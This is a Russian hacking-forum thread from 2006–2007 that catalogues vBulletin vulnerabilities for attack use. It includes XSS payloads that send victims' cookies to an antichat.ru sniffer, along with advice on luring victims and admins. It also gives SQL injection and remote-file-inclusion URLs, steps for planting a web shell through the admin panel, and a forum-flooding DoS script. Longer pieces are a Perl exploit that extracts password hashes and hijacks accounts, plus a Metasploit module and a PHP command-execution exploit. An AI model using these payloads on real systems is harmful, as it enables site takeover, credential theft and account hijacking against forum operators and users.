Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей vBulletin] (https://forum.antichat.xyz/showthread.php?t=22852)

bandera 19.08.2006 14:31

[Обзор уязвимостей vBulletin]
 
На форуме есть обзоры уязвимостей ipb и phpbb, я решил сделать обзор уязвимостей vBulletin-). Итак начну.
Рассмотрим уязвимости трёх веток воблы: 2.*.*, 3.0.* и 3.1.*.

Узнаём версию форума.

В папке /clientscript/ находятся несколко js и css файлов в которых можно посмотреть точную версию форума.
Код:

vbulletin_ajax_threadslist.js
vbulletin_ajax_namesugg.js
vbulletin_attachment.js
vbulletin_cpcolorpicker.js
vbulletin_editor.js

Пример:
Код:

www.xz.сom/forumpath/clientscript/vbulletin_editor.css

vBulletin 2

2.2.* - 2.2.4 - Выполнение произвольного кода
Описание уязвимости: уязвимость в vBulletin's Calendar PHP сценарии (calender.php) позволяет удаленному атакующему выполнять произвольный код в контексте пользователя 'nobody'.
Exploit: http://www.securitylab.ru/vulnerability/source/207147.php


2.3.* - SQL injection
Описанте уязвимости: уязвимость в проверке правильности входных данных в 'calendar.php'. Удаленный пользователь может внедрить произвольные SQL команды.
Пример:
Код:

www.xz.сom/forumpath/calendar.php?s=&action=edit&eventid=14 union (SELECT allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events WHERE eventid = 14) order by eventdate
2.*.* - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки тэга email.
Exploit:
Код:

[E*MAIL]aaa@aaa.aa"'s='[/E*MAIL]' sss="i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null" style=top:expression(eval(this.sss));
Video: http://video.antichat.ru/file57.html





vBulletin
3.0

3.0.0 - XSS
Описание уязвимости: уязвимость существует в сценарии search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
Код:

www.xz.сom/forumpath//search.php?do=process&showposts=0&query=<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>

3.0-3.0.4 - Выполнение произвольных команд
Описание уязвимости: уязвимость существует в сценарии forumdisplay.php из-за некорректной обработки глобальных переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные команды на системе.
Пример:
Код:

www.xz.сom/forumpath/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
О командах читать здесь: http://forum.antichat.ru/threadnav7345-1-10.html

3.0.3–3.0.9 XSS
Описание уязвимости: уязвимость существует при обработке входных данных в поле Статус. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: менять свой статус по умолчанию может только администрация, начиная от группы Модераторы.
Пример:
Код:

<body onLoad=img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;>
3.0.9 and 3.5.4 - XSS
Описание уязвимости: звимость существует из-за недостаточной обработки входных данных в параметре posthash в сценарии newthread.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
Код:

www.xz.сom/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML=%3Cp%3E%3C%2Fp%3E&s=&f=3&do=postthread&posthash=c8d3fe38b082b6d3381cbee17f1f1aca&poststarttime='%2Bimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%2B'&sbutton=%D1%EE%E7%E4%E0%F2%FC+%ED%EE%E2%F3%FE+%F2%E5%EC%F3&parseurl=1&disablesmilies=1&emailupdate=3&postpoll=yes&polloptions=1234&openclose=1&stickunstick=1&iconid=0


vBulletin 3.5

3.5.2 - XSS
Описание уязвимости: Уязвимость существует при обработке входных данных в поле "title" в сценарии "calendar.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
Код:

TITLE:--------->Test<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
        BODY:---------->No matter
        OTHER OPTIONS:->No matter

Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie.

3.5.3 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в поле "Email Address" в модуле "Edit Email & Password". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: удачная эксплуатация уязвимости возможна при включенных опциях "Enable Email features" и "Allow Users to Email Other Member".
Пример:
Код:

www.xz.сom/forumpath/profile.php?do=editpassword
        pass:your pass
        email: vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt
        Note About lenght limitation
        ****
        forum/profile.php?do=editoptions
        Receive Email from Other Members=yes
        ****
        www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}

Пояснение: заходим в профиль и в поле email прописываем vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt. Cохраняем. Потом ставим в опциях свой емайл видимым для всех. Теперь втравливаем кому нибудь ссылку www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}, где {your id} ваш id. Cookie уйдут на снифер.

3.5.4 - Дамп БД
Описание уязвимости: уязвимость существует из-за недостаточного ограничения на доступ к сценарию upgrade_301.php в каталоге 'install'. Удаленный пользователь может с помощью специально сформированного URL сделать дамп базы данных приложения.
Пример:
Код:

www.xz.com/forumpath/install/upgrade_301.php?step=SomeWord

3.5.4 - XSS

Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре url сценария inlinemod.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
Код:

www.xz.сom/forumpath/inlinemod.php?do=clearthread&url=lala2%0d%0aContent-Length:%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%0a%0d%0a



Уязвимости в модулях vBulletin.

vBug Tracker 3.5.1 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "sortorder" сценария vbugs.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
Код:

www.xz.сom/forumpath/vbugs.php?do=list&s=&textsearch=&vbug_typeid=0&vbug_statusid=0&vbug_severityid=0&vbug_versionid=0&assignment=0&sortfield=lastedit&sortorder=%22%3Cscript%3Eimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%3C/script%3E
ImpEx 1.74 - PHP-инклюдинг и выполнение команд
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "systempath" в сценарии ImpExData.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
Код:

(1)
www.xz.сom/forumpath/impex/ImpExData.php?systempath=http://rst.void.ru/download/r57shell.txt
www.xz.сom/forumpath/impex/ImpExData.php?systempath=../../../../../../../../etc/passwd
(2)
www.site.com/forum/impex/ImpExModule.php?systempath=http://www.host_evil.com/cmd?&=id
(3)
www.site.com/forum/impex/ImpExController.php?systempath=http://www.host_evil.com/cmd?&=id
(4)
www.site.com/forum/impex/ImpExDisplay.php?systempath=http://www.host_evil.com/cmd?&=id

Exploit: http://www.securitylab.ru/vulnerability/source/264410.php

ibProArcade 2.x - SQL injection
Описание уязвимости: Уязвимость существует в модуле “Report” при обработке входных данных в параметре user сценария index.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Пример:
Код:

www.xz.сom/forumpath/index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]
Где [any_user] id нужного нам юзера.



При использовании XSS c указанным в теме снифером. Логи смотреть тут: http://antichat.ru/sniff/log.php
Но лучше завести себе свой снифер -). Это можно сделать тут: http://antichat.ru/sniffer или тут: http://s.netsec.ru.





Шелл в vBulletin.

Разберёмся как залить шелл из админки воблы.


Способ заливки шелла в vBulletin 2.*.* и 3.0.*
1. Заходим в админку.
2. Смайлы.
3. Загрузить смайл.
4. Грузим наш шелл. (папка по умолчанию /images/smilies)
5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
Примечание: сработает не везде.


Способ заливки шелла в vBulletin 3.5.*.

1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда



Видео по теме:

http://video.antichat.ru/file105.html
http://video.antichat.ru/file95.html
http://video.antichat.ru/file57.html
http://video.antichat.ru/file3.html






З.Ы. Сильно не ругаться. Если где-то был не прав, исправляем, если что-то упустил, добавляем... Не стал вылаживать некоторые XSS т.к. версия форума у них повторяется...

flipper 13.11.2006 14:38

Passive XSS vBulletin 3.6.x Admin Control Painel
 
еще дополнение:
Код:

Author: insanity
E-mail: insanity@darkers.com.br

XSS vBulletin 3.6.1 Admin Control Panel

http://www.exemplo.com/vbulletin/admincp/index.php?do=buildnavprefs&nojs=0&prefs="><script>alert("insanity")</script>
http://www.exemplo.com/vbulletin/admincp/index.php?do=savenavprefs&nojs=0&navprefs="><script>alert("insanity")</script>


LoneWolf666 16.11.2006 19:36

Backup SQL-Dump Bypass vBulletin 3.5.х
 
www.xz.com/forumpath/install/upgrade_301.php?step=backup

вот это не стесняйтесь смело подставлять ко всей линейке 3.5.х, особливо к 3.5.1, проверено.

Уязвимы особенно нуленые версии vBulletin

Mr_Necromancer 27.12.2006 09:03

VBulletin 3.6.4 [FLASH] (SWF) XSS
 
VBulletin 3.6.4

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.

Пример:

Код:

getURL("javascript:function blab(){}var scriptNode = +document.createElement('script'); document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='javascript';scriptNode.src= 'http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie +;blab();");
Информация по эксплуатации уязвимости описана ниже
http://forum.antichat.ru/showpost.php?p=558935&postcount=28

Abra 02.01.2007 18:30

Active XSS TopXStats
 
В список "уязвимости модулей" не плохо было бы так же добавить дыру в моде TopXStats (Статистика Х лучших). Ее легко узнать - в низу форума есть таблица с послденимим затронутыми темами. лучшими авторами и .т.п, таблица так и называется "Статистика лучших".
Пару месяцев назад там нашли дыру - не было фильтрации выходных данных, вернее на выходе данные спокойно трансформировались в html
Достаточно создать тему в заголовке которой указать код редиректинга на свой сайт, и псевдодефейс готов. Через meta redirect например. Тогда с гл. страници пользователей будет перенаправлять на ваш дефейс.
Для дыры достаточно скоро был выложен патч на Vbulletin.net.ru , но не все его установили, и некоторые все еще ставят старую версию хака (не пропатченную). Так что флаг вам в руки.

Вместо meta redirect'a можно так же вставить сниффер, но поле "тема" имеет ограничение на кол-во символов, так что может не поместиться.

Mr_Necromancer 22.01.2007 11:07

эксплоит для флуда форума
 
Вот прикольный эксплоит для флуда форума.
Конечно это не поможет при взломе. но всётаки достаточно серьёзный баг.

Код:

<?
set_time_limit(60);
//You can change 10 to other numbers 
for($i = 1 ; $i <= 10 ; $i++)
{
//to put curl to send POST request
$ch = curl_init();
//change http://localhost/vb3 to the url of the script
curl_setopt($ch , CURLOPT_URL , 'http://localhost/vb3/register.php');
curl_setopt($ch , CURLOPT_POST , 1) ;
curl_setopt($ch , CURLOPT_POSTFIELDS , 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished  good luck
?>

Кстати видел данный эксплоит на перле, он реализован с помощю сокетов, работает гораздо быстрее (не показывает каждый раз форму регистрации), и соответственно кушает меньше трафика.

В принципе с помощю этого скрипта переполнить базу данных и остановить работу форума и даже сайта, т.к большинство хостеров ставят ограничение на обьём базы данных, достигнув который, в базу данных уже ничего нельзя будет записать, не почистив её.

Mr_Necromancer 09.02.2007 14:46

Active XSS [attachment.php] vBulletin 3.x
 
Вот свеженький баг, сам не проверял.

Программа: vBulletin 3.x

Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в поле формы «Extension» сценарием admincp/attachment.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Автор: semu
Дата: 08.02.2007 21:15:43

Чтобы юзать - должен быть доступ к админке, вобщем пригодиться конечно может в некоторых случаях.

Mr_Necromancer 09.02.2007 15:50

XSRF vBulletin 3.0.0
 
Вот ещё для полноты темы:

Робит только vBulletin 3.0.0 Beta 2

Уязвимость в проверке правильности ввода обнаружена в vBulletin при просмотре честных сообщений. Удаленный пользователь может выполнить XSS нападение.

Сообщается, что сценарий private.php не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально сформированную Web форму, которая, при загрузке в браузере пользователя, выполнить произвольный код сценария в браузере целевого пользователя в контексте vBulletin сайта. Пример: (требуется предварительная авторизация)

Код:

<html>
<body>
<form action="http://[victim]/forum/private.php" method="post" name="vbform">
<input type="hidden" name="do" value="insertpm" />
<input type="hidden" name="pmid" value="" />
<input type="hidden" name="forward" value="" />
<input type="hidden" name="receipt" value="0" />
<input type="text" class="bginput" name="title" value="" size="40" tabindex="2"/>
<textarea name="message" rows="20" cols="70" wrap="virtual" tabindex="3"></textarea>
<input type="submit" class="button" name="sbutton" value="Post Message" accesskey="s" tabindex="4" />
<input type="submit" class="button" value="Preview Message" access key="p" name="preview" onclick="this.form.dopreview = true; return true;this.form.submit()" tabindex="5">
<input type="checkbox" name="savecopy" value="1" id="cb_savecopy" checked="checked"/>
<input type="checkbox" name="signature" value="1" id="cb_signature" />
<input type="checkbox" name="parseurl" value="1" id="cb_parse url" checked="checked" />
<input type="checkbox" name="disablesmilies" value="1" id="cb_disablesmilies" />
</form>
<script>
//Set Values and Submit
// You can write your own JS codes
var xss = "\"><script>alert(document.cookie)<\/script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
</script>
</body>
</html>

Уязвимость обнаружена в vBulletin 3.0.0 Beta 2.

Mr_Necromancer 09.02.2007 16:00

Code EXEC vBulletin 3.0.6
 
Помойму этого тоже не было ,если не ошибаюсь:

Программа: vBulletin 3.0.6 и более ранние версии

Уязвимость позволяет удаленному пользователю выполнить произвольные команды на уязвимой системе с привилегиями web-сервера. Уязвимость существует при обработке имен шаблонов в сценарии 'misc.php' при включенной опции 'Add Template Name in HTML Comments' (не является значением по умолчанию). Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный код на системе.

Пример:
Код:

http://[target]/misc.php?do=page&template={${phpinfo()}}
Этот и предыдущий пост хорошо-бы перенести в начало темы, к ранним версиям воблы.

+toxa+ 01.03.2007 20:14

vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege
 
vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege (Требуются привилегии супермодератора)
http://milw0rm.com/exploits/3387

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «postids» сценарием inlinemod.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

http://www.xakep.ru/post/36982/default.asp

Grey 02.03.2007 17:56

Ссылки на темы связанные с безопастностью (уязвимостями) vBulletin.

Vbulletin 3.6.x:

Нападение XSS на Vbulletin 3.6.x для НОВИЧКОВ.

----------------------------------------------------------

Все сообщения не содержащие информационной ценности или не имеющие прямого отношения к теме удалены.

----------------------------------------------------------

Ещё раз напомню, что в этой теме обзор уязвимостей форума, сообщения не имеющие информационной ценности ("Немогли бы взглянуть на этот форум", "Подскажите версию" и т.д.) будут удаляться.

k1b0rg 11.03.2007 19:04

Vbulletin Petz module all version
 
Не смог найти тему куда выложить сплойт, выложил сюда, если что модеры перенесите.

Вообщем сплойт дёргает пароль у заданного юзера, если сплойт не остановить, то он этому юзеру еще и сменит пароль. Новый пароль из хеша состоит только из цифр размером 8 символов.

Код:

#!/usr/bin/perl

# Vbulletin module Petz with sql-injection.
# coded by k1b0rg(768620)
#
# This exploit changing your buyer.
# A new password consists of figures, the length of 8 and going to take a great brut of time(passwords pro);)
# If you do not need to change the password, simply stop exploit at the time of the removal of the password.
# Running exploit again sent two letters to the box. Be akkuratney.
# In the first test of vulnerability when sql error, the box webmaster sent a letter of error. Be akkuratney.
#
# dork: inurl:petz.php
#
# download module: http://dev.p3tz.com/
#
# Lamers go to жопа.
# exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1
#
# needly:
# mysql >=4
# magic_quotes off
# direct hands
#
# greets: antichat.ru mini-rinok.ru
#

use LWP::UserAgent;
use Getopt::Std;
use strict;
my %opts;

getopts("i:p:l:P:s:e:u:",\%opts);
  my $url=$opts{u};
  my $id=$opts{i} || 9107;
  my $prefix=$opts{P} || '';
  my $password1=$opts{p};
  my $salt1=$opts{s};
  my $length=$opts{l};
  my $email1=$opts{e};


if(!$url || !$id)
{
echo('-------------------------FUCK YOU SPILBERG!----------------------');
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
echo('exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1');
echo('-------------------------FUCK YOU SPILBERG!----------------------');
exit;
}




my $browser = LWP::UserAgent->new();
$browser->requests_redirectable([]);

echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
########check on vuln and getting prefix#######################################
echo('[\] Step 0: [Checking vuln]');
my $res=$browser->get($url.'petz.php?do=view&id=9995681\'');
if($res->content=~/Database error/i)
{
echo('[|] This script is vulnerable!!!!');
$res->content=~/LEFT JOIN (.*?)user/i;
echo('[/] Prefix is: ['.$1.']');
}
else
{
echo('[|] This script NOT vulnerable!!!!');
exit;
}




########password1#######################################
echo('[-] Step 1: [getting password(one) user by id ['.$id.']');
echo('[\] Password(1): [');
if(!$password1)
  {
  for(1..32)
    {
      my $pos=$_;
      for(48..57,97..103)
        {
          my $asc=$_;
          if($asc==103) {echo('EXPLOIT FAILED]',0); exit;}
          my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(password,'.$pos.',1))='.$asc.')/*');
          if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); last; }
        }
  }
  }
else
 {
  echo($password1,0);
 }
echo(']',0);

########salt1#######################################
echo('[|] Step 2: [getting salt(one) user by id ['.$id.']');
echo('[-] Salt(1): [');
my $salt;
if(!$salt1)
 {
  for(1..3)
    {
      my $pos=$_;
      for(33..126)
        {
        my $asc=$_;
        my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(salt,'.$pos.',1))='.$asc.')/*');
        if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $salt.=chr($asc); last; }
        }
  }
  }
else
  {
    $salt=$salt1;
    echo($salt,0);
  }
echo(']',0);


########Checking email length#######################################
echo('[\] Step 3: [Checking email length ['.$id.']');
echo('[|] Email length: [');
my $num;
if(!$email1)
  {
    if(!$length)
      {
        for(6..32)
          {
            $num=$_;
            my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(length(email)='.$num.')/*');
            if($res->content!~/Untrapped Error/is) {echo($num,0); last; }
          }
      }
    else
      {
        $num=$length;
        echo($num,0);
      }
  }
else
  {
    $num=length($email1);
    echo($num,0);
  }
echo(']',0);

########losting email#######################################
echo('[/] Step 4: [getting email user by id ['.$id.']');
echo('[-] Email: [');
my $email;
if(!$email1)
  {
    for(1..$num)
      {
        my $pos=$_;
        for(48..57,64,97..122)
          {
            my $asc=$_;
            my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(lower(substring(email,'.$pos.',1)))='.$asc.')/*');
            if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $email.=chr($asc); last; }
          }
      }
  }
else
  {
    $email=$email1;
    echo($email,0);
  }
echo(']',0);

########lost_password#######################################
echo('[\] Step 5: [Losting password]');
$browser->post($url.'login.php',
              [
              email=>$email,
              do=>'emailpassword'
              ]);

########losting activationid#######################################
echo('[|] Step 7: [getting activationid user by id ['.$id.']');
echo('[/] activationid: [');
my $valid;
for(1..8)
  {
    my $pos=$_;
    for(48..57)
      {
        my $asc=$_;
        my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'useractivation+WHERE+userid=\''.$id.'\'+and(ascii(substring(activationid,'.$pos.',1))='.$asc.')/*');
        if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $valid.=chr($asc); last; }
      }
  }
echo(']',0);


########lost_password#######################################
echo('[-] Step 8: [Losting password]');
$browser->get($url.'login.php?a=pwd&u='.$id.'&i='.$valid);


########password2#######################################
echo('[\] Step 9: [getting password(two) user by id ['.$id.']');
echo('[|] Password(2): [');
my $newhash;
for(1..32)
  {
    my $pos=$_;
    for(48..57,97..102)
      {
        my $asc=$_;
        my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(password,'.$pos.',1))='.$asc.')/*');
        if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $newhash.=chr($asc); last; }
      }
  }
echo(']',0);


echo('News hash && salt: ['.$newhash.':'.$salt.']');


sub echo{
  my $text=shift;
  my $param=shift;
  my $razdel=($param eq 0)?'':"\n";
  syswrite STDOUT,$razdel.$text;
}


freddi 17.04.2007 21:10

Passive XSS [downloads.php] vBulletin 3.6.2
 
vBulletin 3.6.2

Пассивная хсс

Уязвим параметр "id" скрипта "downloads.php"
Пример:
http://forum.asechka.ru/downloads.php?do=cat&id=5"><script>alert()</script>

freddi 29.04.2007 17:53

XSS [PDF] vBulletin 3.0.7 - 3.6.2
 
vBulletin 3.0.7 - 3.6.2

Активная хсс

прикрепляем файл pdf созданный с содержанием:
Код:

<script>alert()</script>
и при открытии этого файла вылезает алерт.

этот способ работает в очень многих местах, также как и встраивание кода в картинку. минус этого способа, что не во всех местах можно прикреплять файлы.

Mr_Necromancer 18.05.2007 11:27

Active XSS in Title vBulletin 3.5.2
 
Программа: vBulletin 3.5.2

http://www.securitylab.ru/vulnerability/source/243694.php

Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в параметре «title» сценарием calendar.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Код:

TITLE:--------->Test<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
        BODY:---------->No matter
        OTHER OPTIONS:->No matter

Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie.

_GaLs_ 23.05.2007 12:21

vBulletin 3.0.10
SQL Injection

Код:

http://123.com/portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/*
vBulletin 3.0.6

Command Execution Exploit (metasploit)

Код:

##
#        Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
#    Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
#        Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#    http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'    => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
        'Version'  => '$Revision: 1.0 $',
        'Authors'  => [ 'str0ke' ],
        'Arch'    => [ ],
        'OS'      => [ ],
        'Priv'    => 0,
        'UserOpts' =>
          {
                'RHOST' => [1, 'ADDR', 'The target address'],
                'RPORT' => [1, 'PORT', 'The target port', 80],
                'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
                'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
                'SSL'  => [0, 'BOOL', 'Use SSL'],
          },

        'Description' => Pex::Text::Freeform(qq{
                This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),

        'Refs' =>
          [
                ['MIL', '832'],
          ],

        'Payload' =>
          {
                'Space' => 512,
                'Keys'  => ['cmd', 'cmd_bash'],
          },

        'Keys' => ['vBulletin'],
  };

sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self->GetVar('RHOST');
        my $target_port    = $self->GetVar('RPORT');
        my $vhost          = $self->GetVar('VHOST') || $target_host;
        my $path          = $self->GetVar('RPATH');
        my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;

        # Encode the command as a set of chr() function calls
        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

        # Create the get request data
        my $data = "?do=page&template={\${passthru($byte)}}";

        my $req =
                "GET $path$data HTTP/1.1\r\n".
                "Host: $vhost:$target_port\r\n".
                "Content-Type: application/html\r\n".
                "Content-Length: ". length($data)."\r\n".
                "Connection: Close\r\n".
                "\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,
                'LocalPort' => $self->GetVar('CPORT'),
                'SSL'      => $self->GetVar('SSL'),
          );

        if ($s->IsError){
                $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
                return;
        }

        $self->PrintLine("[*] Sending the malicious vBulletin Get request...");

        $s->Send($req);

        my $results = $s->Recv(-1, 20);
        $s->Close();

        return;
}

1;

vBulletin 3.0.4

Execute command
magic_quotes_gpc должен быть выключен

PHP код:

<?php
if (!(function_exists('curl_init'))) {
echo 
"cURL extension required\n";
exit;
}

if (
$argv[3]){
$url $argv[1];
$forumid intval($argv[2]);
$command $argv[3];
}
else {
echo 
"vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo 
"Usage: ".$argv[0]." <url> <forumid> <command> [proxy]\n\n";
echo 
"<url> url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";
echo 
"<forumid> forum id\n";
echo 
"<command> command to execute on server (ex: 'ls -la')\n";
echo 
"[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";
echo 
"ex :\n";
echo 
"\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";

exit;
}

if (
$argv[4])
$proxy $argv[4];



$action 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';

$ch=curl_init();
if (
$proxy){
curl_setopt($chCURLOPT_PROXY,$proxy);
}
curl_setopt($chCURLOPT_URL,$url.'/'.$action);
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res substr($resstrpos($res'_START_')+7);
$res substr($res,0strpos($res'_END_'));
echo 
$res;
?>


Shram-spb 05.07.2007 19:52

узнать версию форума
 
Вот что нашел.. Чтобы узнать версию форума.. иногда помогает..
http://domain/forum/install/finalupgrade.php
И видим версию форума :)

M0rgan 08.07.2007 17:01

Active XSS v3.6.8
 
тут вроде бы не звучало еще 2 ХССки...
не знаю точно в каких версиях но на 3.6.2 и 3.6.4 помоему работало...

В первом случае надо быть модератором (иметь право банить) и надо чтоб на форуме при бане было поле "причина"
вот само поле "причина" и есть уязвимым... ищем жертву для бана и в причине вписываем
Код:

Забанен за флуд <script>img = new Image(); img.src = "http://somesite.#ru/vash sniffer.jpg?"+document.cookie;</script>
теперь допустим хотим словить админа - скажите пусть зайдет посмотрит почему забанен пользователь или попросить разбанить из-за ошибки ( в общем придумать причину не тяжело) )

Во втором случае надо иметь возможность менять себе "Особый статус" и поддержку хтмл...
Код:

Мой титул <script>img = new Image(); img.src = "http://somesite.#ru/vash sniffer.jpg?"+document.cookie;</script>
А там думаю загадочного нечего нету ))
но это испытывал всего один раз... надо быть или знакомым админа или еще какието обстоятельство ))

_На некоторых сайтах стоит фикс типа ограничения колиества символов в строке )

--------------------------------------------------------------------


Добавленно от BlackCats (фактически тоже самое инфа про версию другая):

